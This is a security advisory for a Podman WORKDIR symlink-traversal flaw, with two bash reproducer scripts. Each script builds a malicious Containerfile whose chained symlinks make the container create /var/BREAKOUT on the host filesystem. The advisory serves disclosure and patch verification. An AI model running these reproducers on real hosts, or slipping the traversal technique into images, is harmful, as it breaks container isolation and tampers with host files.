Podman: WORKDIR symlink traversal vulnerability

Summary

Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.

Patch

https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0

Details

This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)

PoC

The reproducer script test1.bash demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.

The reproducer script test2.bash demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.

The reproducer script test2.bash shows that the working directory can be different from the breakout directory.

Reproducer test1.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT

Reproducer test2.bash

#!/bin/bash
set -o errexit
set -o nounset

if [ -e /var/BREAKOUT ]; then
  echo error: path /var/BREAKOUT should not exist beforehand
  exit 1
fi

dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
    cd /0 && \
    ln -s 1/2/3 symlink1 && \
    mkdir -p /0/1/symlink2/${breakout_dirname} && \
    cd /0/1/symlink2/${breakout_dirname} && \
    ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF

podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT